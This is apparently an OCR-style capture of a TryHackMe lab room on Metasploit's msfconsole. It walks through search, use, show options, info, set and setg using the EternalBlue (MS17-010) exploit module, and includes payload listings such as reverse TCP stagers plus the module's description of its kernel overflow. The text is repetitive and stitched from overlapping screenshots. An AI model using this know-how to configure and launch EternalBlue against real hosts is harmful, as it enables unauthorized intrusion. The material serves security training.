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ip-10-66-191-149 - Amazon DCV

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Room progress: 41%

Active machines information

IP Address: 10.66.191.149IP Address: 10.66.161.246

would typically expect in an operating system command line.

Linux commands within a context

msf6 exploit(windows/smb/ms17_010_eternalblue) > ls
[*] exec: ls

burpsuite_community_linux_v2021_8_1.shInstructionsScripts
DesktopPicturesthinclient_drives
DownloadsPostmanTools
msf6 exploit(windows/smb/ms17_010_eternalblue) >

The prompt tells us we now have a context set in which we will work. You can see this by typing the show options command.

Show options

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name	Current Setting	Required	Description
----	-----	-----	-----
RHOSTS		yes	The target host(s), range CIDR identifier, or hosts
RPORT	445	yes	The target port (TCP)
SMBDomain	.	no	(Optional) The Windows domain to use for authenticat
SMBPass		no	(Optional) The password for the specified username
SMBUser		no	(Optional) The username to authenticate as
VERIFY_ARCH	true	yes	Check if remote architecture matches exploit Target.
VERIFY_TARGET	true	yes	Check if remote OS matches exploit Target.

Payload options (windows/x64/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
----	-----	-----	-----
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)

root@ip-10-66-191-149:~

FileEditViewSearchTerminalHelp

root@ip-10-66-191-149:~# msfconsole
Metasploit tip: Save the current environment with the save command,
future console restarts will use this environment again

:oDfo:

./ymM0dayMny/.

--dHJ5aGFyZGVyIQ==+--
:smQ--Destroy.No.Data--s:
--h2--Maintain.No.Persistence--h--

:odNo2--Above.All.Else.Do.No.Harm--Ndo:
./etc/shadow.0days-Data'%200Rk201=1--..No.0MN0'/.
--++SecKCoin++e.AMd'-.://///hbove.913.ElsMNH+--

--/.ssh/id_rsa.Des-htN01UserWroteMe!-
:dopeAW.No<nano>o:is:TRlKC.sudo-.A:
:we're.all.alike''The.PFYroy.No.D7:
:PLACEDRINKHERE!::yxp_cndshell.Ab0:

:msf>exploit -j.:Ns.BOB&ALICEs7:

:---SfWXfWX!--.'MS146.S2.No.Per:

THM AttackBoxPersistence: Off 40min 2s

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ManualRanking

The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g: exploit/unix/webapp/php_eva).

Source: <https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking>

You can direct the search using keywords such as type and platform.

For example, if we wanted our search results to only show telnet modules, we could set the type to auxiliary. The screenshot below shows the output of the search type:auxiliary telnet command.

Search by module type

msf6 > search type:auxiliary telnet

Matching Modules

#	Name	Disclosure
0	auxiliary/admin/http/dlink_dir_300_600_exec_noauth	2013-02-04
1	auxiliary/admin/http/netgear_r6700_pass_reset	2020-06-15
2	auxiliary/dos/cisco/ios_telnet_rocem	2017-03-17
3	auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof	2010-12-21
4	auxiliary/scanner/ssh/juniper_backdoor	2015-12-20
5	auxiliary/scanner/telnet/brocade_enable_login	
6	auxiliary/scanner/telnet/lantronix_telnet_password	
7	auxiliary/scanner/telnet/lantronix_telnet_version	
8	auxiliary/scanner/telnet/satel_cmd_exec	2017-04-07
9	auxiliary/scanner/telnet/telnet_encrypt_overflow	
10	auxiliary/scanner/telnet/telnet_login	
11	auxiliary/scanner/telnet/telnet_ruggedcom	
12	auxiliary/scanner/telnet/telnet_version	
13	auxiliary/server/capture/telnet	

Interact with a module by name or index, for example use 13 or use auxiliary/server/capture/telnet

msf6 >

Applications Places System

Sat Jul 18, 01:17

AttackBox IP: 10.66.191.1

AttackBox IP: 10.66.191.149

root@ip-10-66-191-149: ~

File Edit View Search Terminal Help

msf exploit(windows/smb/ms17_010_eternalblue) > search type:auxiliary telnet

Matching Modules

=====

#	Full Name	Disclosure Date	Rank	Check	Name
0	auxiliary/server/capture/telnet	.	normal	No	Auth
1	auxiliary/scanner/telnet/brocade_enable_login	.	normal	No	Broc
2	auxiliary/dos/cisco/ios_telnet_rocem	2017-03-17	normal	No	Cisc
3	auxiliary/admin/http/dlink_dir_300_600_exec_noauth	2013-02-04	normal	No	D-Li
4	auxiliary/scanner/ssh/juniper_backdoor	2015-12-20	normal	No	Juni
5	auxiliary/scanner/telnet/lantronix_telnet_password	.	normal	No	Lant
6	auxiliary/scanner/telnet/lantronix_telnet_version	.	normal	No	Lant
7	auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof	2010-12-21	normal	No	Micr
8	auxiliary/admin/http/netgear_pnp_getsharefolderlist_auth_bypass	2021-09-06	normal	Yes	Netg
9	auxiliary/admin/http/netgear_r6700_pass_reset	2020-06-15	normal	Yes	Netg
10	auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce	2021-04-21	normal	Yes	Netg
11	auxiliary/scanner/telnet/telnet_ruggedcom	.	normal	No	Rugg
12	auxiliary/scanner/telnet/satel_cmd_exec	2017-04-07	normal	No	Sate
13	auxiliary/scanner/telnet/telnet_login	.	normal	No	teln
14	auxiliary/scanner/telnet/telnet_version	.	normal	No	teln
15	auxiliary/scanner/telnet/telnet_encrypt_overflow	.	normal	No	teln

Interact with a module by name or index. For example info 15, use 15 or use auxiliary/scanner/telnet/telnet_encrypt_overflow

THM AttackBox

Persistence: Off 18min 27s

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Active machines information

ETERNALBLUE

msf6 exploit(windows/smb/ms17_010_eternalblue) >

Alternatively, you can use the `info` command followed by the module's path from the msfconsole prompt (e.g. `info exploit/windows/smb/ms17_010_eternalblue`). `info` is not a help menu; it will display detailed information on the module such as its author, relevant sources, etc.

Search

One of the most useful commands in msfconsole is `search`. This command will search the Metasploit Framework database for modules relevant to the given search parameter. You can conduct searches using CVE numbers, exploit names (eternalblue, heartbleed, etc.), or target system.

The search command

```
msf6 > search ms17-010
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/admin/smb/ms17_010_command	2017-03-14	normal	No	MS17-010
1	auxiliary/scanner/smb/smb_ms17_010		normal	No	MS17-010
2	exploit/windows/smb/ms17_010_eternalblue	2017-03-14	average	Yes	MS17-010
3	exploit/windows/smb/ms17_010_psexec	2017-03-14	normal	Yes	MS17-010
4	exploit/windows/smb/smb_doublepulsar_rce	2017-04-14	great	Yes	SMB DOUB

Interact with a module by name or index, for example use 4 or use exploit/windows/smb/smb

```
msf6 >
```

The output of the `search` command provides an overview of each returned module. You may notice the "name" column already gives information than just the module name. You can see the type of module (auxiliary, exploit, etc.) and the category of the module (scanner, admin, windows, Unix, etc.). You can use any module returned in a search result with the command use followed by the number at the beginning of the result line. (e.g. use 0 instead of use auxiliary/admin/smb/ms17_010_command)

root@ip-10-66-191-149: ~

File Edit View Search Terminal Help

msf exploit(windows/smb/ms17_010_eternalblue) > search ms17-010

Matching Modules

#	Full Name	Disclosure Date	Rank	Check	Na
0	exploit/windows/smb/ms17_010_eternalblue	2017-03-14	average	Yes	IS
17-010	EternalBlue SMB Remote Windows Kernel Pool Corruption				
1	\ target: Automatic Target				
2	\ target: Windows 7				
3	\ target: Windows Embedded Standard 7				
4	\ target: Windows Server 2008 R2				
5	\ target: Windows 8				
6	\ target: Windows 8.1				
7	\ target: Windows Server 2012				
8	\ target: Windows 10 Pro				
9	\ target: Windows 10 Enterprise Evaluation				
10	exploit/windows/smb/ms17_010_psexec	2017-03-14	normal	Yes	IS
17-010	EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution				
11	\ target: Automatic				
12	\ target: PowerShell				
13	\ target: Native upload				
14	\ target: MOF upload				
15	\ AKA: ETERNALSYNERGY				
16	\ AKA: ETERNALROMANCE				
17	\ AKA: ETERNALCHAMPION				
18	\ AKA: ETERNALBLUE				
19	auxiliary/admin/smb/ms17_010_command	2017-03-14	normal	No	IS
17-010	EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution				
20	\ AKA: ETERNALSYNERGY				
21	\ AKA: ETERNALROMANCE				
22	\ AKA: ETERNALCHAMPION				
23	\ AKA: ETERNALBLUE				
24	auxiliary/scanner/smb/smb_ms17_010		normal	Yes	IS
17-010	SMB RCE Detection				
25	\ AKA: DOUBLEPULSAR				
26	\ AKA: ETERNALBLUE				
27	exploit/windows/smb/smb_doublepulsar_rce	2017-04-14	great	Yes	SM

THM AttackBox Persistence: Off 25min 54s

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The `show` command can be used in any context followed by a module type (auxiliary, payload, exploit, etc.) to list available modules. The example below lists payloads that can be used with the ms17-010 Eternalblue exploit.

The show payloads command

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads
```

Compatible Payloads

#	Name	Disclosure Date	Rank
0	generic/custom		manual
1	generic/shell_bind_tcp		manual
2	generic/shell_reverse_tcp		manual
3	windows/x64/exec		manual
4	windows/x64/loadlibrary		manual
5	windows/x64/messagebox		manual
6	windows/x64/meterpreter/bind_ipv6_tcp		manual
7	windows/x64/meterpreter/bind_ipv6_tcp_uuid		manual

If used from the msfconsole prompt, the `show` command will list all modules.

The `use` and `show options` commands we have seen so far are identical for all modules in Metasploit.

You can leave the context using the `back` command.

The back command

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 >
```

Further information on any module can be obtained by typing the `info` command within its context.

The info command

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > info
```

root@ip-10-66-191-149: ~

File Edit View Search Terminal Help

View the full module info with the `info`, or `info -d` command.
`msf exploit(windows/smb/ms17_010_eternalblue) > show payloads`

Compatible Payloads

=====

#	Full Name	Disclosure Date	Rank	Check	Name
0	payload/generic/custom	.	normal	No	Custom Payload
1	payload/generic/shell_bind_aws_ssm	.	normal	No	Command Shell
2	payload/generic/shell_bind_tcp	.	normal	No	Generic Command Shell, Bind TCP Inline
3	payload/generic/shell_reverse_tcp	.	normal	No	Generic Command Shell, Reverse TCP Inline
4	payload/generic/ssh/interact	.	normal	No	Interact with Established SSH Connection
5	payload/windows/x64/custom/bind_ipv6_tcp	.	normal	No	Windows shell code stage, Windows x64 IPv6 Bind TCP Stager
6	payload/windows/x64/custom/bind_ipv6_tcp_uuid	.	normal	No	Windows shell code stage, Windows x64 IPv6 Bind TCP Stager with UUID Support
7	payload/windows/x64/custom/bind_named_pipe	.	normal	No	Windows shell code stage, Windows x64 Bind Named Pipe Stager
8	payload/windows/x64/custom/bind_tcp	.	normal	No	Windows shell code stage, Windows x64 Bind TCP Stager
9	payload/windows/x64/custom/bind_tcp_rc4	.	normal	No	Windows shell code stage, Bind TCP Stager (RC4 Stage Encryption, Metasploit)
10	payload/windows/x64/custom/bind_tcp_uuid	.	normal	No	Windows shell code stage, Bind TCP Stager with UUID Support (Windows x64)
11	payload/windows/x64/custom/reverse_http	.	normal	No	Windows shell code stage, Windows x64 Reverse HTTP Stager (wininet)
12	payload/windows/x64/custom/reverse_https	.	normal	No	Windows shell code stage, Windows x64 Reverse HTTP Stager (wininet)
13	payload/windows/x64/custom/reverse_named_pipe	.	normal	No	Windows shell code stage, Windows x64 Reverse Named Pipe (SMB) Stager
14	payload/windows/x64/custom/reverse_tcp	.	normal	No	Windows shell code stage, Windows x64 Reverse TCP Stager
15	payload/windows/x64/custom/reverse_tcp_rc4	.	normal	No	Windows shell code stage, Reverse TCP Stager (RC4 Stage Encryption, Metasploit)

THM AttackBox

Persistence: Off 34min 20s

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4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great

Interact with a module by name or index, for example use 4 or use exploit/windows/smb/smb_doublepulsar_rce

msf6 >

The output of the `search` command provides an overview of each returned module. You may notice the "name" column already gives more information than just the module name. You can see the type of module (auxiliary, exploit, etc.) and the category of the module (scanner, admin, windows, Unix, etc.). You can use any module returned in a search result with the command use followed by the number at the beginning of the result line. (e.g. `use 0` instead of `use auxiliary/admin/smb/ms17_010_command`)

Another essential piece of information returned is in the "rank" column. Exploits are rated based on their reliability. The table below provides their respective descriptions.

Ranking	Description
ExcellentRanking	The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances (WMM Escape!).
GreatRanking	The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check.
GoodRanking	The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc).
NormalRanking	The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect.
AverageRanking	The exploit is generally unreliable or difficult to exploit.
LowRanking	The exploit is nearly impossible to exploit (or under 50% success rate) for common platforms.
ManualRanking	The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: <code>exploit/unix/webapp/php_eval</code>).

Source: <https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking>

You can direct the search function using keywords such as type and platform.

Example, if we wanted our search results to only include auxiliary modules, we could set the type to auxiliary. The screenshot below shows the output of the search type:auxiliary telnet command.

root@ip-10-66-191-149: ~

File Edit View Search Terminal Help

```
3 \ target: Windows Embedded Standard 7
4 \ target: Windows Server 2008 R2
5 \ target: Windows 8
6 \ target: Windows 8.1
7 \ target: Windows Server 2012
8 \ target: Windows 10 Pro
9 \ target: Windows 10 Enterprise Evaluation
10 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
11 \ target: Automatic
12 \ target: PowerShell
13 \ target: Native upload
14 \ target: MOF upload
15 \ AKA: ETERNALSYNERGY
16 \ AKA: ETERNALROMANCE
17 \ AKA: ETERNALCHAMPION
18 \ AKA: ETERNALBLUE
19 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
20 \ AKA: ETERNALSYNERGY
21 \ AKA: ETERNALROMANCE
22 \ AKA: ETERNALCHAMPION
23 \ AKA: ETERNALBLUE
24 auxiliary/scanner/smb/smb_ms17_010 normal Yes MS17-010 SMB RCE Detection
25 \ AKA: DOUBLEPULSAR
26 \ AKA: ETERNALBLUE
27 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
28 \ target: Execute payload (x64)
29 \ target: Neutralize implant
```

Interact with a module by name or index. For example `info 29`, `use 29` or `use exploit/windows/smb/smb_doublepulsar_rce`

After interacting with a module you can manually set a TARGET with `set TARGET 'Neutralize implant'`

msf exploit(windows/smb/ms17_010_eternalblue) > 0

[*] Unknown command: 0. Run the help command for more details.

msf exploit(windows/smb/ms17_010_eternalblue) > use 0

[*] Using configured payload windows/x64/meterpreter/reverse_tcp

msf exploit(windows/smb/ms17_010_eternalblue) >

THM AttackBox Persistence: Off 20min 58s

Room progress: 41%

Active machines information

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If used from the msfconsole prompt, the `show` command will list all modules.

The `use` and `show options` commands are identical for all modules in Metasploit.

You can leave the context using the `back` command.

The back command

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 >
```

Further information on any module can be obtained by typing the `info` command within its context.

The info command

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > info

Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
Module: exploit/windows/smb/ms17_010_eternalblue
Platform: Windows
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Average
Disclosed: 2017-03-14

Provided by:
Sean Dillon
Dylan Davis
Equation Group
Shadow Brokers
thelightcosine

Available targets:
Id Name
----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
```

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Browse and run installed applications

56 payload(windows/x64/shell/bind_tcp_uuid) normal No Windows x64 C
onmand Shell, Bind TCP Stager with UUID Support (Windows x64)
57 payload(windows/x64/shell/reverse_tcp) normal No Windows x64 C
onmand Shell, Windows x64 Reverse TCP Stager
58 payload(windows/x64/shell/reverse_tcp_rc4) normal No Windows x64 C
onmand Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
59 payload(windows/x64/shell/reverse_tcp_uuid) normal No Windows x64 C
onmand Shell, Reverse TCP Stager with UUID Support (Windows x64)
60 payload(windows/x64/shell/bind_tcp) normal No Windows x64 C
onmand Shell, Bind TCP Inline
61 payload(windows/x64/shell/reverse_tcp) normal No Windows x64 C
onmand Shell, Reverse TCP Inline
62 payload(windows/x64/vncinject/bind_ipv6_tcp) normal No Windows x64 V
NC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
63 payload(windows/x64/vncinject/bind_ipv6_tcp_uuid) normal No Windows x64 V
NC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
64 payload(windows/x64/vncinject/bind_named_pipe) normal No Windows x64 V
NC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
65 payload(windows/x64/vncinject/bind_tcp) normal No Windows x64 V
NC Server (Reflective Injection), Windows x64 Bind TCP Stager
66 payload(windows/x64/vncinject/bind_tcp_rc4) normal No Windows x64 V
NC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
67 payload(windows/x64/vncinject/bind_tcp_uuid) normal No Windows x64 V
NC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
68 payload(windows/x64/vncinject/reverse_http) normal No Windows x64 V
NC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
69 payload(windows/x64/vncinject/reverse_https) normal No Windows x64 V
NC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
70 payload(windows/x64/vncinject/reverse_tcp) normal No Windows x64 V
NC Server (Reflective Injection), Windows x64 Reverse TCP Stager
71 payload(windows/x64/vncinject/reverse_tcp_rc4) normal No Windows x64 V
NC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
72 payload(windows/x64/vncinject/reverse_tcp_uuid) normal No Windows x64 V
NC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
73 payload(windows/x64/vncinject/reverse_winhttp) normal No Windows x64 V
NC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
74 payload(windows/x64/vncinject/reverse_winhttps) normal No Windows x64 V
NC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
msf exploit(windows/smb/ms17_010_eternalblue) > back
msf >

THM AttackBox Persistence: Off 33min 14s

Active machines information

IP Address: 10.65.141.134

IP Address: 10.65.128.147

You can use the `setg` command to set values that will be used for all modules. The `setg` command is used like the `set` command. The difference is that if you use the `set` command to set a value using a module and you switch to another module, you will need to set the value again. The `setg` command allows you to set the value so it can be used by default across different modules. You can clear any value set with `setg` using `unsetg`.

The example below uses the following flow;

1. We use the `ms17_010_eternalblue` exploitable
2. We set the `RHOSTS` variable using the `setg` command instead of the `set` command
3. We use the `back` command to leave the exploit context
4. We use an `auxiliary` (this module is a scanner to discover MS17-010 vulnerabilities)
5. The `show options` command shows the `RHOSTS` parameter is already populated with the IP address of the target system.

```
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > setg rhosts 10.10.165.39
rhosts => 10.10.165.39
msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options

Module options (auxiliary/scanner/smb/smb_ms17_010):
```

Name	Current Setting	Required	Description
CHECK_ARCH	true	no	Check for architecture on vulnerable hosts
CHECK_DOPU	true	no	Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE	false	no	Check for named pipe on vulnerable hosts
NAMED_PIPES	/opt/metasploit-framework-5101/data/wordlists/named_pipes.txt	yes	List of named pipes to check
RHOSTS	10.10.165.39	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
RPORT	445	yes	The SMB service port (TCP)
SMBDomain	.	no	The Windows domain to use for authentication
SMBPass		no	The password for the specified username
SMBUser		no	The username to authenticate as
THREADS	1	yes	The number of concurrent threads (max one per host)

View the full module info with the `info`, or `info -d` command.

```
msf exploit(windows/smb/ms17_010_eternalblue) > setg rhosts 10.10.165.39
rhosts => 10.10.165.39
msf exploit(windows/smb/ms17_010_eternalblue) > back
msf > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(scanner/smb/smb_ms17_010) > show options
```

Module options (auxiliary/scanner/smb/smb_ms17_010):

Name	Current Setting	Required	Description
----	-----	-----	-----
CHECK_ARCH	true	no	Check for architecture on vulnerable hosts
CHECK_DOPU	true	no	Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE	false	no	Check for named pipe on vulnerable hosts
NAMED_PIPES	/opt/metasploit-framework/embedded/framework/data/wordlists/named_pipes.txt	yes	List of named pipes to check
RHOSTS	10.10.165.39	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
RPORT	445	yes	The SMB service port (TCP)
SMBDomain	.	no	The Windows domain to use for authentication
SMBPass		no	The password for the specified username
SMBUser		no	The username to authenticate as
THREADS	1	yes	The number of concurrent threads (max one per host)

View the full module info with the `info`, or `info -d` command.

```
msf auxiliary(scanner/smb/smb_ms17_010) >
```


Active machines information

IP Address: 10.65.141.134

IP Address: 10.65.128.147

You will use this with post-exploitation modules that will connect to the target system using an existing connection.

You can override any set parameter using the `set` command again with a different value. You can also clear any parameter value using the `unset` command or clear all set parameters with the `unset all` command.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > unset all
Flushing datastore...
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    .                yes       The target host(s), range or IP address.
  RPORT     445              yes       The target port (TCP)
  SMBDomain .                no        (Optional) The Windows domain name to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
  SMBPass   .                no        (Optional) The password for the specified username
  SMBUser   .                no        (Optional) The username to authenticate as
  VERIFY_ARCH true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
  VERIFY_TARGET true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
```

Exploit target:

Id	Name
--	----

root@ip-10-65-141-134: ~

File Edit View Search Terminal Help

msf exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name	Current Setting	Required	Description
----	-----	-----	-----
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	445	yes	The target port (TCP)
SMBDomain		no	(Optional) The Windows domain name to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass		no	(Optional) The password for the specified username
SMBUser		no	(Optional) The username to authenticate as
VERIFY_ARCH	true	yes	Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

THM AttackBox

Persistence: Off 41min 14s


```

Active machines information
IP Address: 10.65.141.134 IP Address: 10.65.128.147

Exploit target:

  Id  Name
  --  ---
  0    Windows 7 and Server 2008 R2 (x64) All Service Packs

msf6 exploit(windows/smb/ms17_010_eternalblue) >

```

Once you have set a parameter, you can use the `show options` command to check the value was set correctly.

Parameters you will often use are:

- **RHOSTS:** "Remote host", the IP address of the target system. A single IP address or a network range can be set. This will support the CIDR (Classless Inter-Domain Routing) notation (/24, /16, etc.) or a network range (10.10.10.x - 10.10.10.y). You can also use a file where targets are listed, one target per line using `file:/path/of/the/target_file.txt`, as you can see below.

```

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.1
RHOSTS => 10.10.10.1
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    10.10.10.1       yes       The target host(s), see http://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     445              yes       The target port (TCP)
  SMBDomain  ""               no        (Optional) The Windows domain name to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
  SMBPass    ""               no        (Optional) The password for the specified username
  SMBUser    ""               no        (Optional) The username to authenticate as
  VERIFY_ARCH true             yes       Check if remote architecture matches local architecture

```

- **RPORT:** "Remote port", the port on the target system the vulnerable application is running on.
- **PAYLOAD:** The payload you will use with the exploit.
- **LHOST:** "Localhost", the attacking machine (your AttackBox or Kali Linux) IP address.
- **LPORT:** "Local port", the port you will use for the reverse shell to connect back to. This is a port on your attacking machine, and you can set it to any port not used by any other application.
- **SESSION:** Each connection established to the target system using Metasploit will have a session ID.

```

root@ip-10-65-141-134: ~
File Edit View Search Terminal Help

msf exploit(windows/smb/ms17_010_eternalblue) >
msf exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.165.39
rhosts => 10.10.165.39
msf exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    10.10.165.39     yes       The target host(s), see http://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     445              yes       The target port (TCP)
  SMBDomain  ""               no        (Optional) The Windows domain name to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
  SMBPass    ""               no        (Optional) The password for the specified username
  SMBUser    ""               no        (Optional) The username to authenticate as
  VERIFY_ARCH true            yes       Check if remote architecture matches local architecture

```

tryhackme.com

Room progress: 41%

Active machines information

IP Address: 10.66.191.149

IP Address: 10.66.161.246

The back command

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 >
```

Further information on any module can be obtained by typing the `info` command within its context.

The info command

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > info

Name: MS17-010 Eternalblue SMB Remote Windows Kernel Pool Corruption
Module: exploit/windows/smb/ms17_010_eternalblue
Platform: Windows
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Average
Disclosed: 2017-03-14

Provided by:
Sean Dillon
Dylan Davis
Equation Group
Shadow Brokers
thelightcosine

Available targets:
Id  Name
--  ---
0   Windows 7 and Server 2008 R2 (x64) All Service Packs

Check supported:
Yes

Basic options:
```

TryHackMe | Access

Applications Places System Sat Jul 18, 01:03

AttackBox IP: 10.66.191.149

root@ip-10-66-191-149: ~

File Edit View Search Terminal Help

the FuzzBunch toolkit released by Shadow Brokers.

There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later completed in srvnet!SrvNetWskReceiveComplete.

This exploit, like the original may not trigger 100% of the time, and should be run continuously until triggered. It seems like the pool will get hot streaks and need a cool down period before the shells rain in again.

The module will attempt to use Anonymous login, by default, to authenticate to perform the exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use those instead.

On some systems, this module may cause system instability and crashes, such as a BSOD or a reboot. This may be more likely with some payloads.

References:

- <https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010>
- <https://nvd.nist.gov/vuln/detail/CVE-2017-0143>
- <https://nvd.nist.gov/vuln/detail/CVE-2017-0144>
- <https://nvd.nist.gov/vuln/detail/CVE-2017-0145>
- <https://nvd.nist.gov/vuln/detail/CVE-2017-0146>
- <https://nvd.nist.gov/vuln/detail/CVE-2017-0147>
- <https://nvd.nist.gov/vuln/detail/CVE-2017-0148>
- <https://github.com/RiskSense-Ops/MS17-010>
- https://risksense.com/wp-content/uploads/2018/05/White-Paper_Eternal-Blue.pdf
- <https://www.exploit-db.com/exploits/42030>
- <https://attack.mitre.org/techniques/T1059/>
- <https://attack.mitre.org/techniques/T1068/>
- <https://attack.mitre.org/techniques/T1218/>

Also known as:

ETERNALBLUE

View the full module info with the `info -d` command.

(arg: 3)

THM AttackBox

Persistence: Off 31min 59s

Room progress: 41%

Active machines information

IP Address: 10.66.191.149

IP Address: 10.66.161.246

the module you have decided to use. In the example below, we have used the ms17_010_eternalblue exploit, and we have set parameters such as RHOSTS. If we were to switch to another module (e.g. a port scanner), we would need to set the RHOSTS value again as all changes we have made remained in the context of the ms17_010_eternalblue exploit.

Let us look at the example below to have a better understanding of this feature. We will use the MS17-010 "Eternalblue" exploit for illustration purposes.

Once you type the `use` `exploit/windows/smb/ms17_010_eternalblue` command, you will see the command line prompt change from `msf6` to `"msf6 exploit(windows/smb/ms17_010_eternalblue)"`. The "EternalBlue" is an exploit allegedly developed by the U.S. National Security Agency (N.S.A.) for a vulnerability affecting the SMBv1 server on numerous Windows systems. The SMB (Server Message Block) is widely used in Windows networks for file sharing and even for sending files to printers. EternalBlue was leaked by the cybercriminal group "Shadow Brokers" in April 2017. In May 2017, this vulnerability was exploited worldwide in the WannaCry ransomware attack.

Using an exploit

```
msf6 > use exploit/windows/smb/ms17_010_e
[*] No payload configured, defaulting to
msf6 exploit(windows/smb/ms17_010_eternal
```

Module to be used can also be selected with the `use` command followed by the number at the beginning of the search result line.

Applications Places System Sat Jul 18, 00:57

root@ip-10-66-191-149: ~

File Edit View Search Terminal Help

reports x.json

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
RPORT	445	yes	The target port (TCP)
SMBDomain		no	(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass		no	(Optional) The password for the specified username
SMBUser		no	(Optional) The username to authenticate as
VERIFY_ARCH	true	yes	Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
